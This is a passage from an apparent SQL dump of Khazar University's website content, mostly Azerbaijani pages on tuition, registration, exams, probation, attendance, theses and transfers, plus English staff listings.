keçdikdən sonra ödənilmiş təhsil haqqı geri qaytarılmır.</p><p>Əgər təhsil haqqını ödəmiş tələbə dərslərə ümumiy­yətlə baş­lamayıbsa, təhsil haqqını geri almaq üçün nə vaxt mü­ra­ciət etməsindən asılı olmayaraq, ödənilmiş təhsil haqqının yalnız 80%-i geri qaytarılır.</p><p><strong>Təhsil haqqının ödənilməsində güzəştlər</strong></p><p>Aşağıdakı hallarda tələbəyə təhsil haqqının ödənil­mə­sində müxtəlif güzəşt formaları tətbiq edilir:</p><ul><li><p>Qəbul imtahanlarında 500 (beş yüz) və daha çox bal toplamışdırsa; (birinci tədris ilinin nəticələrinə görə tələbənin GPA 85-dən az olarsa, Universitet bu güzəşti ləğv etmək hüququna malikdir).</p></li></ul><ul><li><p>Valideynlərin biri və ya hər ikisi Xəzərdə işlə­yir­sə;</p></li></ul><ul><li><p>Bir ailədən 2 (iki) və daha çox tələbə Xəzərdə təh­sil alırsa;</p></li><li><p>Hər iki valideynindən məhrum olmuşdursa;</p></li><li><p>Universitetdə təhsil aldığı dövrdə, gözlənilməz ha­di­sə nəticəsində (məsələn, qəflətən valideynini it­ir­­­məsi və. s) maddi köməyə xüsusi ehtiyac ya­ra­nar­sa.</p></li></ul><p>Tətbiq edilən güzəştlərin forma və faizi haqqında məlumatları <strong><a href=\"http://www.khazar.org/az/menus/1246/qebul_ve_telebe_shobesi\">Qəbul və Tələbə Şöbəsi</a></strong>ndən ala bilərsiniz.</p>'),(316,175,'az','Dərs Cədvəlləri','Dərs Cədvəlləri','<p>Univеrsitetdə dərs cədvəli hər sеmеstrin başlanğıcında qеy­diy­yat zamanı hazır оlur. Hər bir cədvəl sеmеstr ərzində tədris оlunacaq fənləri, оnların vaхtını, yеrini, krеdit saatını və müəllimlərin adlarını özündə əks еtdirir və «Хəzər Хə­bər»­də dərc оlunur.</p>'),(317,176,'az','Fənn qeydiyyatı','Fənn qeydiyyatı','<p>Tələbə hər semestrin əvvəlində, dərslər başlayana qə­dər həmin semestrdə tədris olunan fənlərdən han­sı­nı oxuya­ca­ğını müəyyənləşdirir, həmin fənləri qey­diy­yat vərəqində yaz­maq və imzalamaqla qeydiy­yat­dan keçir.</p><p>Qeydiyyatdan keç­miş tələbə, fakültə dekanının icazəsi olarsa, semestrin birinci həftəsi ərzində qeydiyyat vərəqində də­yişiklik edə bilər.</p><p>Bu müd­dətdən sonra qeydiyyat vərəqində heç bir də­yi­şik­lik edilə bilməz. Qey­diyyat və­rəqində öz əksini tapmayan istənilən dəyişiklik etibarsız sayılır.</p><p>Dərslər başlayana qədər qeydiyyatdan keçməmiş tələbə, fakültə dekanının icazəsi olarsa, semestrin birinci həftəsi ərzində qeydiyyatdan keçə bilər.</p><p>Bu müddət ərzində də qeydiyatdan keçməyən tələbə 50 (əlli) manat məbləğində cərimə ödəməklə ikinci həftə ərzində qeydiyyatdan keçə bilər.</p><p>Semestrin ikinci həftəsindən sonra qeydiyyat müddəti bitir və bundan sonra heç bir tələbə qeydiyyatdan keçə bilməz.</p><p>Bakalavr pilləsində oxuyan tələbə semestr ərzində mak­si­mum 19 kreditlik, (minimum 12 kreditlik) yay se­ssiyasında isə maksimum 10 kreditlik fənn götürə bi­lər.</p><p>İstisnalar yalnız fakültə dekanının icazəsi ilə ola bilər.</p>'),(318,177,'az','Nəticələr və Transkriptlər','Nəticələr və Transkriptlər','<p>Xəzər Universitetində qeydiyyatdan keçmiş hər bir tə­lə­bə­nin akademik nailiyyətləri <em><a href=\"http://www.khazar.org/az/menus/875/telebe_qeydiyyat_ve_melumat_shobesi\">Tələbə qeydiyyat və məlumat şöbəsi</a></em>ndə və dekan­lıqda saxlanılır.</p><p>Tələbələr is­tənilən vaxt öz akademik gös­təri­cilərini (trans­k­rip­t­lərini) əldə edə bilərlər.</p><p>Tələbəyə veri­lən transkript­də onun bütün göstəriciləri əks olunmalıdır.</p><p>Tə­lə­bə­lər yalnız müəyyən olunmuş məbləği – hər nüsxə üçün xəzi­nə­yə 5 (beş) manat ödədikdən sonra transkript ala bilərlər.</p><p><strong><a href=\"http://www.khazar.org/az/menus/1246/admission_and_information_office\"></a></strong>Tələbə qeydiyyat və məlumat şöbəsi  hər semestr tələ­bə­nin tam qeydiyyatı və qiymətlənidirilməsinə aid iki ki­tabça hazırlayır. («Tələbə qeydiyyatı» və «Tələ­bə­lə­rin irəliləmə dinamikası haqqında hesabat»)</p>'),(319,178,'az','Fəndən imtina','Fəndən imtina','<p>Tələbə semestrin ilk iki həftəsi ərzində qeydiyyatdan keçdiyi fəndən imtina edə bilər. &nbsp;Bundan sonra isə yalnız fakültə dekanının razılığı ilə fəndən imtina oluna bilər. Əgər tələbə 5-ci həftədən sonra fəndən imtina edərsə, həmin dərsin&nbsp; təhsil haqqını tam ödəməlidir. Bu zaman qiymət cədvəlində qiymətin əvəzində <em>“<em>W</em>”  </em> yazılacaq.</p><p>Tələbə universitet tərəfindən müəyyən olunmuş qaydaları pozduğu zaman dərslərdən inzibati qaydada uzaqlaşdırıla bilər. Universitet qaydalarının ciddi pozuntusu baş verərsə tələbə müəyyən müddətə (məsələn, bir semestr, bir il, və ya müddətsiz olaraq) universitetdən də uzaqlaşdırıla bilər.</p><p>Bütün bunlar yalnız mövcud qaydalar, əsasnamələr əsasında həyata keçirilir.</p>'),(320,179,'az','Akademik Sınaq','Akademik Sınaq','<p>Akademik sınaq adətən təhsilin ilk iki ilində aparılan iş­dir.</p><p>Bakalavr proqramında təhsil alan tələbənin orta qiy­məti (GPA) 68 və ya daha aşağıdırsa, o tələbə akademik sı­naq­dadır.</p><p>Sınaqda olan tələbənin dərs yükünə məh­du­diyyət qoyulur (tələbə fənlərin bir hissəsini mütləq təkrar götürməlidir).</p><p>Sınaqdan çıxmaq üçün tələbə növ­bəti semestrdə öz orta qiymətini 70-ə qal­dır­ma­lı­dır.</p><p>İki semestr ərzində sınaqdan çıxa bilməyən tələbə uni­ver­sitetdən xaric olunmağa təqdim edilir.</p>'),(321,180,'az','Davamiyyət və dərsdən yayınma','Davamiyyət və dərsdən yayınma','<p>Əyani tələbələr bütün dərslərdə iştirak etməlidirlər və yalnız üzrlü səbəb olduqda (xəstəlik, dekanın yazılı icazəsi və s.) dərsdən qala bilərlər.</p><p>Hər hansı bir fənn üzrə dərslərin 20%-dən çoxunda iştirak etməyən tələ­bə həmin fənn üzrə im­ta­ha­na buraxılmır.</p><p>İcazəsiz dər­sə gəlməmək dərslərdən kənar edil­­məyə gətirib çıxara bi­lər.</p><p>Tələbənin hərəkətləri dərs pro­­sesinə mane olursa tə­ləbə dərsdən kənar edilə bilər.</p><p>Aka­de­mik nəticələri yük­sək olan və hər hansı bir yerdə işləyən tə­ləbə (əgər iş qrafiki dərsə davamiyyətə mane olursa) sər­bəst da­va­miy­yət almaq üçün dekanlığın razılığı ilə rektorluğa mü­­raciət edə bilər.</p><p>Tələbəyə sərbəst davamiyyət ve­ril­di­yi halda dekanlıq tərəfindən həmin tələbəyə fərdi cəd­vəl tutu­lur.</p>'),(322,181,'az','Tezis və Dissertasiyalar','Tezis və Dissertasiyalar','<p>Ali dərəcə proqramları qaydaları və prosedurlarına əlavə olaraq, Yüksək Təhsil Komitəsi&nbsp;<strong>(Committee of Graduate Studies)</strong>&nbsp;magistratura, doktorantura və digər professional dərəcə proqramları üçün ümumi qaydalar və xüsusi tələblər müəyyən edir.</p><p>Yüksək Təhsil Komitəsi şura tərəfindən seçilmiş mütəxəssislər, nümayəndələr, magistr və ya doktorant tələbələrdən ibarətdir.</p><p>Dərəcə almaq istəyən namizəd elmi rəhbəri ilə birlikdə Yüksək Təhsil Komitəsinə iş planını təqdim etməlidir.</p><p>Bu plan Yüksək Təhsil Komitəsi tərəfindən təsdiq edilir və namizəd və onun rəhbəri tərəfindən imzalanır. Buraya aşağıdakılar daxildir:</p><ul><li>Məcburi və seçmə fənlərin adları və kreditlər</li><li>Təklif olunan tədqiqat işinin&nbsp;adı və qısa xülasəsi (tezis, dissertasiya və ya tədqiqat layihəsi üzrə)&nbsp;<br></li></ul><p>Namizədin akademik təcrübəsindən və müraciət etdiyi proqramdan asılı olaraq müxtəlif kurslarla yanaşı, müstəqil öyrənmə və tədqiqat işləri aparmaq imkanları da vardır.</p><p>Namizədin iş planına və apardığı tədqiqata uyğun olaraq magistr dərəcəsi almağın son mərhələsinin üç forması mövcuddur:</p><ul><li>Magistr dissertasiyası</li><li>Hesabat və ya xüsusi layihə</li><li>Ayrılıqda hər hansı bir elmi-tədqiqat işi olmadan praktiki iş ilə birlikdə məcburi və seçmə fənnlər kursu</li></ul><p>Magistr dissertasiyası bir neçə kreditlə (adətən 6 və 8 arasında) dəyərləndirilir, həmçinin hesabat və layihələr də kreditlə dəyərləndirilir, lakin hesabat və layihələrin krediti dissertasiyadan az olur.</p><p>Magistr proqramları sənaye və digər müxtəlif sahələrdə çalışacaq və eləcə də sonrakı tədqiqatları davam etdirəcək (adətən fəlsəfə doktoru proqramları üçün) yüksək ixtisaslı tələbə hazırlamaqdan ötrü yaradılmışdır.</p><p>Fəlsəfə dokotru proqramları yüksək səviyyədə tədqiqatlar aparacaq tələbələrin hazırlanmasından ötrü nəzərdə tutulmuşdur.</p><p>Fəlsəfə doktoru dərəcəsi yeni biliklərin verilməsi və tədqiqatın artan dərinliyinin yaradılmasına görə verilir.</p><p>Fəlsəfə doktorluğu dərəcəsinə namizəd olanlar iş planına təklif olunan tədqiqat sahəsinə aid məlumatı, dissertasiyanın mövzusunu, eləcə də,&nbsp; bitirdiyi akademik kurslar haqqında müəyyən məlumatı daxil etməlidir.</p><p>Fəlsəfə doktorluğu dissertasiyası adətən 10-12 kreditlə dəyərləndirilir, istisna hallarda kreditlərin sayı artırıla bilər.</p><p>Yüksək Təhsil Komitəsinə hər bir magistr və fəlsəfə doktorluğu dissertasiyaları üçün elmi rəhbər və kənar ekspertlərin də daxil olduğu dörd (beş) nəfərdən ibarət olan&nbsp;<strong>Tezis Komitəsi</strong>&nbsp;(son tədqiqat işi nəzərdə tutulan magistr və digər professional dərəcə proqramları üçün) və ya&nbsp;<strong>Dissertasiya Komitəsi</strong>&nbsp;(Fəlsəfə doktoru dərəcəsi üçün) daxildir.</p><p>Namizəd elmi rəhbərinə, eləcə də Tezis və ya Dissertasiya Komitəsinə iş planına dəyişiklik etmək üçün müraciət edə bilər. (bir və ya daha artıq kurs əlavə edilməsinə dair və ya dissertasiyanın adının dəyişdirilməsi barədə və s.)</p><p>Iş planına hər hansı dəyişiklik edilmişsə, bu dəyişikliklər dərəcə verilməsi təsdiq olunmamışdan ən azı iki həftə əvvəl Yüksək Təhsil Komitəsinə təqdim olunmalıdır.</p><p>Doktorluq və ya magistr dərəcəsi alacaq namizədlərin tədqiqat işi&nbsp; yekun olaraq şifahi müdafiədən keçməlidir; bu vaxt namizəd araşdırma apardığı sahədə geniş bilik nümayiş etdirməli və araşdırma apardığı sahədə dissertasiyanın rolu və əhəmiyyətini göstərməlidir.</p><p>Dissertasiya (Tezis) Komitəsi yekun şifahi imtahan üçün nəzərdə tutulmuşdur.</p><p>Namizəd Yüksək Təhsil Komitəsinə dissertasiyasının yekun variantını təqdim etməzdən əvvəl dissertasiya elmi rəhbər və Dissertasiya (Tezis) Komitəsinin üzvləri və ya onların bir neçəsi tərəfindən təsdiq olunmalıdır.</p>'),(323,182,'az','İmtahanlar','İmtahanlar','<p>Universitetdə təhsil alan hər bir tələbənin “<em>İmtahan qaydaları haqqında əsasnamə</em>” ilə tanış olması zəruridir.</p><p>Xəzər Universitetində klassik aralıq və final imtahanlarından başqa digər imtahan növləri də mövcuddur. Bunlar aşağıdakılardır:</p><p><br></p><p><strong>Təkrar imtahanlar</strong></p><p>Hər hansı bir səbəbdən imtahanda vaхtında iştirak еtməyən tələbələr həmin imtahanı yеnidən verə bilərlər.</p><p>Əgər tələbə aralıq və ya final imtahanlarından birini vaхtında vеrməyibsə, təkrar imtahan üçün 100 (yüz) manat ödəməlidir.</p><p>Əgər tələbə&nbsp;həm aralıq, həm də final imtahanlarını vaхtında vеrməyibsə, hər bir təkrar imtahan üçün&nbsp; ayrı-ayrılıqda&nbsp;100 (yüz) manat ödəməlidir.</p><p>Təkrar imtahan vеrmək üçün aşağıdakı müddətlər müəyyən еdilir:</p><ul><li>Payız sеmеstri üçün: 1-10 fеvral</li><li>Yaz sеmеstri üçün:&nbsp;&nbsp; 1-10 sеntyabr</li></ul><p>Тəkrar imtahanların cədvəli dеkanlıq tərəfindən müəyyən еdilir. Hər-hansı bir fəndən təkrar imtahan vermək istəyən tələbə imtahan günündən ən azı bir gün əvvəl dekanlığa müraciət etməlidir.</p><p>Тəkrar imtahanlar keçirildikdən sonra 3 (üç) gün müd­də­tində nəticələr <em>Qеydiyyat və İnfоrmasiya Şö­bə­sinə</em> verilir.</p><p>Мüəyyən оlunmuş əlavə müddətdə də hər hansı bir səbəbdən&nbsp; imtahanlarda iştirak еtməyən tələbələr həmin fənlər üçün yеnidən qеydiyyatdan kеçərək təhsil haqqı ödəməli və fənləri yеnidən охumalıdırlar.</p><p>&nbsp;</p><p><strong>Тamamlama imtahanları</strong></p><p>Ümumi nəticəyə görə bakalavr pilləsində 57-59 bal və ma­gistr pilləsində 60-64 bal toplamış tələbələrin ye­kun qiyməti natamam hesab edilir və keçid balı (bakalavr – 60 bal, ma­gistr – 65 bal) toplamaq istək­ləri olan tələbələrə əlavə ta­mam­lama imtahanı ver­mə­yə icazə verilir.</p><p>Bu halda hər bir tamamlama imtahanı üçün 70 (yеtmiş) manat ödənməlidir.</p><p>Fakültə dekanları natamam bal toplamış və müvafiq fənlər üzrə tamamlama imtahanı vermək arzusunda olan tələbələrin siyahılarını, uyğun departmentlər isə tamamlama imtahanı veriləcək fənlər üçün xüsusi imtahan tapşırıqları hazırlayır.</p><p>Тamamlama imtahanlarının keçirilməsi üçün aşağı­da­kı müd­dətlər müəyyən еdilir:</p><ul><li>Payız sеmеstri üçün: 1-10 fеvral</li><li>Yaz sеmеstri üçün:&nbsp;&nbsp; 1-10 sеntyabr</li></ul><p>Тamamlama imtahanlarının cədvəli dеkanlıq tərəfindən müəyyən еdilir. Hər-hansı bir fəndən tamamlama imtahanı vermək istəyən tələbə imtahan günündən ən azı bir gün əvvəl dekanlığa müraciət etməlidir.</p><p>Тamamlama imtahanından ən azı kеçid balı (bakalavr pil­lə­sin­də – 60 bal, magistr pilləsində – 65 bal) top­la­mış tələbə­nin qiyməti bakalavr pilləsində 60, magistr pilləsində 65 bala tamamlanır.</p><p>Hər bir tələbəyə semestrin nəticələrinə görə ən çох 2 (iki) fəndən tamamlama imtahanı verməyə icazə ve­ri­lir. Bu fən­ləri, imtahan vеrmək istəyən tələbə özü müəy­yənləşdirir.</p><p>Тa­ma­mlama imtahanı keçirildikdən sonra 3 (üç) gün müd­də­tində nəticələr <em>Qеydiyyat və İnfоrmasiya Şö­bə­si</em>nə verilir.</p>'),(324,183,'az','Akademik Dürüstlük','Akademik Dürüstlük','<p>Akademik düzlük həmişə Xəzər Universitetinin təhsil siyasətində mərkəzdə duran məsələlərdən biridir.</p><p>Bunun əsas standartlarından biri odur ki, Xəzər Universitetində tələbələr ancaq öz əməyi nəticəsində kredit qazana bilirlər.</p><p>İmtahanın gedişi zamanı tələbələr arasında ünsiyyətə icazə verilmir. İmtahan zamanı imtahan qaydaları və ya nizam-intizam pozularsa&nbsp; cəza tətbiq olunur. Köçürmə, hər hansı bir əlavə vəsaitdən isti­fa­də etmək, tələbələr arasında hər hansı bir formada ün­siy­yətin olması, saxtaçılıq və digər oxşar hallarda tələbələrə qarşı müva­fiq cəza tədbirləri tətbiq edilir.</p><p>Meydana çıxan bütün problemlər şəxsi münasibətlər zəminində deyil, yalnız mövcud qaydalar, əsasnamələr əsasında həll edilir. Bunun üçün universitetdə tələbələr və müəllimlər üçün yaddaş kitabçası, imtahan qaydaları, nizam-intizam qaydaları və digər bir çox sənədlər hazırlanmışdır.</p><p>Akademik davranış qaydalarına riayət etmək Xəzər ictimaiyyətin bütün üzvləri, o cümlədən professor-müəllim heyətinin də borcudur. Dərs prosesində, imtahan zamanı ciddi, obyektiv, vicdanlı olmaq professor-müəllim heyətinin əsas vəzifələrindən biridir.</p><p>Universitetdə müəllim kadrlarının seçilməsində tələbələrin fikirləri də vacib rol oynayır. Bunun üçün hər semestr sessiyadan sonra tələbələr arasında müəllimlər haqqında anonim sorğu keçirilir. Sorğunun nəticələri növbəti semestr üçün müəllim seçimində xüsusi yer tutur.</p>'),(325,68,'az','Ümumi Araşdırma','Ümumi Araşdırma',''),(326,33,'az','Tədqiqat Mərkəzləri və Laboratoriyalar','Tədqiqat Mərkəzləri və Laboratoriyalar',''),(327,34,'az','Jurnallar / Periodik Jurnallar','Jurnallar / Periodik Jurnallar',''),(328,35,'az','Xəzər Universitetinin Nəşrləri    ','Xəzər Universitetinin Nəşrləri','<p>Fəаliyyətdə оlduğu dövrdən Xəzər Univеrsitəsində Nəşriyyаt (Kha­zar University Press) fəаliyyət göstərir.</p><p>Xəzər Universitəsi Nəşriyyatı - univesitetin kitab, jurnal və digər çap məhsullarını, eləcə də kənardan müraciətləri dəyərləndirən və nəşrə hazırlayan bir qurumdur. &nbsp;</p><p>Nəşriyyatın fəaliyyət dairəsinə dərslik, monoqrafiya, konfrans materialları, elmi-tədqiqat jurnalları, tərcümə layihələri (ingilis və başqa dillərdən Azərbaycan dilinə və həmçinin, Azərbaycan və rus dillərindən ingilis və başqa dillərə tərcümə olunmuş kitab və məqalələr), eləcə də bədii ədəbiyyat nəşri daxildir.</p><p>Xəzər Universitəsi Nəşriyyatı öz məhsulları və fəaliyyəti ilə beynəlxalq aləmdə də tanınır, onun nəşrləri və əməkdaşları bir sıra ölkələrdə sərgi, yarmarka, treyninq və digər program və tədbirlərdə iştirak edirlər.</p><p>Xəzər Universitəsi Nəşriyyatı Azərbaycan ISBN agentliyi və Azərbaycan ISMN agentliyi - beynəlxalq kitab və musiqi əsərlərinin standartlaşdırılması Milli Agentliyi kimi də fəaliyyət göstərir.<a href=\"http://www.ismninternational.org/agencies/azerbaijan.html\">http://www.ismninternational.org/agencies/azerbaijan.html</a></p><p><strong>Ünvan:</strong> &nbsp; &nbsp; AZ1096 Bakı, Məhsəti küçəsi 11, Xəzər Universitəsi</p><p><strong>Telefon:</strong> &nbsp; (+994 12) 4217916 (kommutator)</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (+994 50) 3554806 (mobil)</p><p><strong>Faks:</strong> &nbsp; &nbsp; &nbsp; (+994 12) 498 93 79</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href=\"http://mailto:zyusifoglu@khazar.org\">zyusifoglu@khazar.org</a></p>'),(2006,1221,'az','“Xəzər”in əməkdaşının məqaləsi Almaniyada çap olundu','2016-cı il iyunun 20-də Azərbaycan Dövlət İnformasiya Agentliyinin (AzərTac) rəsmi internet səhifəsində Xəzər Universitetinin əməkdaşı...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il iyunun 20-də Azərbaycan Dövlət\r\nİnformasiya Agentliyinin (AzərTac) rəsmi internet səhifəsində Xəzər\r\nUniversitetinin əməkdaşı Elsevər Məmmədovun məqaləsinin Almaniyanın “Nomos” nəşriyyatı\r\ntərəfindən “Caucasus, the EU and Russia –Triangular Cooperation?” kitabında nəşr\r\nedilməsi ilə bağlı xəbər yayınlamışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəbəri tam şəkildə bu link vasitəsilə\r\noxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://azertag.az/xeber/Xezer_Universitetinin_emekdasinin_meqalesi_Almaniyada_chap_olunub-963214\">http://azertag.az/xeber/Xezer_Universitetinin_emekdasinin_meqalesi_Almaniyada_chap_olunub-963214</a></p>'),(329,69,'az','Konfranslar, Görüşlər və Seminarlar','Konfranslar, Görüşlər və Seminarlar',''),(330,173,'az','Köçürülmə','Köçürülmə','<p>Xəzər Universiteti, başqa ali məktəblərdən köçürülən tələ­bə­lərdən İngilis dili imtahanını verməyi tələb edir. Ərizə­çi­lər TOEFL nəticəsini təqdim etməli və ya Xəzər Univer­sitetinin İngilis dili üzrə xüsusi imta­hanını verməlidirlər.</p><p>Ərizəçilər əvvəlki təhsilləri haqqında sənədlər təq­dim et­mə­lidirlər. Qəbul və Tələbə Şöbəsi, uyğun fakül­tə dekanlığı ilə birgə tələbənin əvvəlki təhsili haq­qın­da sənədlərini araşdırır, akkreditə olunmuş ali məktəb tə­­rə­­findən verilmiş transkriptdə göstərilən fənlərin Xə­zər Uni­ver­sitetinin tədris proqramına uyğunlu­ğunu və uy­ğun gələn fən­lər üzrə kredit hesablanması me­xa­niz­mi­ni müəyyənləşdirir. Köçürülən tələbələr bütün də­rə­cə tələblərini yerinə yetirmə­lidirlər. Məzunluq üçün lazım olan kreditlərin ən azı yarısı Xəzərdə qa­za­nılmalıdır. Xüsusi hallarda fakültələr fərqli siyasət hə­ya­ta keçirə bilər. Köçürül­mə sənədlərinin araş­dı­rıl­ma­sı və tam hazır­lan­ması üçün tələbə Universitet xə­zi­nəsinə 50 (əlli) manat &nbsp;məb­ləğində pul ödəməlidir.</p><p>Universitetdə təhsil alan tələbə Universitetin qay­da­ları çərçi­vəsində başqa ali məktəbə köçürülmək üçün mü­raciət edə bilər. Xəzər Universitetindən başqa ali mək­təbə köçürülmə prosesi Universitə rektorunun 17 iyun 2003-cü il tarixli, T/05 saylı əmri ilə tən­zim­lə­nir.&nbsp;</p><p><strong><br></strong></p><p><strong>Ə M R № T/ 05</strong></p><p><strong>Bakı şəhəri &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;17 iyun 2003-cü il</strong></p><p>&nbsp;</p><p>Tələbələrin başqa ali məktəblərə köçürülmələrinin Azərbaycan Respublikası Təhsil Nazirliyinin 07.08.1996-cı il tarixli, 402 saylı əsasnaməsinə uyğun tənzimlənməsi məqsədilə</p><p><strong>ƏMR EDİRƏM</strong></p><p>Azərbaycan Respublikası Təhsil Nazirliyinin 07.08.1996-cı il tarixli, 402 saylı əsasnaməsinə görə tələbələrin bir ali mək­təb­dən başqa ali məktəbə köçürülməsi yalnız qış və yay tətili döv­rün­də mümkün olduğundan:</p><ol><li>Yay tətili dövründə başqa ali məktəblərə köçürülmələr haq­qın­da müraciətlərə hər il yalnız avqust ayının 31-nə qədər baxıl­sın. Bu tarixdən etibarən heç bir başqa ali məktəbə kö­çü­rül­mələrə icazə verilməsin.</li><li>Əgər göstərilən bu tarixdən sonra konkret tələbənin başqa ali məktəbə köçürülməsi haqqında Təhsil Nazirliyinin yazılı ra­zılığı olarsa və yeni tədris ilinin təhsil haqqı tam ödə­ni­lər­sə, məsələyə istisna hal kimi baxıla bilər.</li><li>Əgər tələbə qış tətili dövründə öz arzusu ilə başqa ali mək­tə­bə köçürülmək istəyirsə, yalnız cari tədris ilinin təhsil haqqını tam ödədikdən sonra onun xahişi nəzərə alına bilər.</li><li>Əgər başqa ali məktəbə köçürülmək istəyən tələbəyə bura­da oxuduğu müddətdə təhsil haqqının ödənilməsin­də müəy­yən gü­zəştlər edilmişdirsə, yalnız həmin güzəştlərin ümumi məb­lə­ği universitetə ödənildikdən sonra tələbənin xahişi nəzərə alına bilər.</li><li>Eyni əsasnaməyə görə birinci kurs tələbələrinin (ixtisa­sın­dan asılı olaraq ümumi kreditlərinin sayı 32 və ya 33-dən az olan) başqa ali məktəbə köçürülmələrinə icazə veril­mə­sin.</li><li>Bu əmr fakültə dekanları vasitəsilə bütün tələbələrə çatdı­rıl­sın.</li></ol><p>Əmrin icrasına nəzarət Rektor Assistenti İsaxan İsaxanlıya həvalə edilsin.</p>'),(331,185,'en','Dean\'s office','Dean\'s office','<p><strong><a href=\"http://www.khazar.org/files/pdf/CV-HN_June2016.pdf\"><img src=\"/files/engineering/images/HN_Univ.jpg\" style=\"float:left;width:150px;height:166px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></a></strong><strong><a href=\"http://www.khazar.org/files/pdf/CV-HN_June2016.pdf\">Dr. Hassan Niknafs</a> - Acting&nbsp; Dean of the School of Engineering and Applied Sciences</strong></p><p>PhD in Mechanical Engineering (The University of Akron, Ohio, USA) <br></p><p><strong>Fields of &nbsp;Study:</strong>&nbsp;Heat and Mass Transfer, Fluid Dynamics</p><p><strong>Email: </strong><a href=\"http://mailto:Hniknafs@khazar.org\">Hniknafs[at]khazar.org</a><br></p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><a href=\"http://www.khazar.org/files/pdf/Vafa_Aslanova.pdf\"><img src=\"/files/letters/vafa.jpg\" style=\"float:left;width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></a></strong><strong><a href=\"http://www.khazar.org/files/pdf/Vafa_Aslanova.pdf\">Vafa Aslanova</a></strong></p>\r\n<p>Vice Dean for&nbsp;Student Affairs</p><p><strong>E-mail:&nbsp;</strong><a href=\"http://mailto:vaslanova@khazar.org\">vaslanova[at]khazar.org</a>  <a href=\"http://mailto:vaslanova@khazar.org\"></a></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><img src=\"/files/engineering/images/fakhranda_a.jpg\" style=\"float:left;width:150px;height:142px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Time_table/Fakhranda%20A.N_CV%20.doc\">Fakhranda Alimardanova</a></strong></p><p>Ph.D.&nbsp;Vice-Dean for Academic Affairs&nbsp;</p><p><strong>E-mail:&nbsp;</strong><a href=\"http://mailto:falimardanova@khazar.org\">falimardanova[at]khazar.org</a>  <a href=\"http://mailto:falimardanova@khazar.org\"></a></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><img src=\"/files/engineering/syllabi/syllabus_2017_fall/Time_table/parvana.jpg\" style=\"width:150px;height:267px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Time_table/CV-Europass-20170922-Abdurahimli-CV.pdf\">Parvana Abdurahimli</a></strong></p><p>Dean\'s assistant</p><p><strong>E-mail: </strong><a href=\"http://mailto:pabdurahimli@khazar.org\">pabdurahimli[at]khazar.org</a>  <a href=\"http://mailto:pabdurahimli@khazar.org\"></a></p><p><br></p><p><br></p><p><br></p><p><br></p><hr>'),(332,190,'en','sub2','sub2',''),(333,193,'en','Dean\'s Office','Dean\'s Office',''),(334,194,'en','sub-1','sub-1',''),(335,200,'az','Mərkəzlər','Mərkəzlər',''),(336,200,'en','Centers','Centers',''),(337,204,'az','test','test',''),(338,204,'en','test','test','my'),(339,206,'az','Missiyası','Missiyası','<p>Tədqiqat əsaslı təhsil vasitəsilə biz qlobal problemlərin həllinə yardım etmək üçün tələbələr hazırlamalıyıq.</p><p>İqtisadiyyat və menecment fakültəsinin missiyası iqtisadiyyat və biznes idarəçiliyinin bütün əsas sahələrində biliyin inkişafı və ötürülməsinə kömək etməkdir. Fakültə Fundamental və tətbiqi tədqiqatı gerçəkləşdirmək və biznes və iqtisadi tədqiqata əsaslanan ilkin və aspirant təhsil proqramlarını təmin etməklə bu missiyanı yerinə yetirməyə çalışır.&nbsp;<br><br>Fakültənin siyasəti nəsil gücünü gücləndirmək əminliyə əsaslanır və təşkilat yalnız bütün fəaliyyətinin keyfiyyətini ən yüksək səviyyədə əldə etməkdə ardıcıl məqsəd daşıyırsa mükəmməlliyə çata bilər.</p>'),(340,206,'en','Mission','Mission','<p>The School of Economics and Management shall, by means of research and education, contribute to the development and application of knowledge. Through research-based education, we shall prepare students to contribute to resolving global challenges.</p><p>The mission of the School of Economics and Management is to contribute to the development and transfer of knowledge in all major fields of economics and business administration. The School tries to accomplish this mission by performing fundamental and applied research, and by providing research-based initial and post-graduate educational programs in business and economics. The policy of the School is based on the conviction that strength breeds strength, and that an organization can only reach excellence if it consistently aims at attaining the highest level of quality in all of its activities.</p>'),(341,212,'en','Faculty and Staff','Faculty and Staff','<img src=\"/files/image/14_04_14_Hamlet_Isaxanli.jpg\" style=\"border:0px  #000000;width:153px;height:177px;margin:7px;float:left\"><p><strong style=\"font-size:large\"><a href=\"http://www.khazar.org/files/pdf/Hamlet_Isaxanli.pdf\">Hamlet Isakhanli</a>,&nbsp;</strong><strong>The&nbsp;Distinguished&nbsp;Professor&nbsp;of&nbsp;Mathematics and the Founder of Khazar University</strong></p>\r\n<p>Doctor of Science&nbsp;(Steklov Mathematical Institute of Russian Academy of Science, Russia)</p><p>PhD&nbsp;in Mathematics (Lomonosov&nbsp;Moscow State University, Russia)</p><p><strong>E-mail:&nbsp;</strong><a href=\"http://www.khazar.org/mfe/MAİLTOı\" title=\"mailto:hamlet[at]khazar.org\">hamlet[at]khazar.org</a>&nbsp;&nbsp;</p><p><br></p><p><br></p><hr><p><strong style=\"font-size:large\"><a href=\"http://www.khazar.org/files/math_depart/NAZ%C4%B0M_K%C6%8FR%C4%B0MOV_cv.docx\">Nazim&nbsp;Karimov</a></strong><strong><img src=\"/files/math_depart/20161017_115017.jpg\" style=\"width:150px;height:200px;margin:7px;float:left\"></strong></p><p>Doctor of Science&nbsp;(Lomonosov&nbsp;Moscow 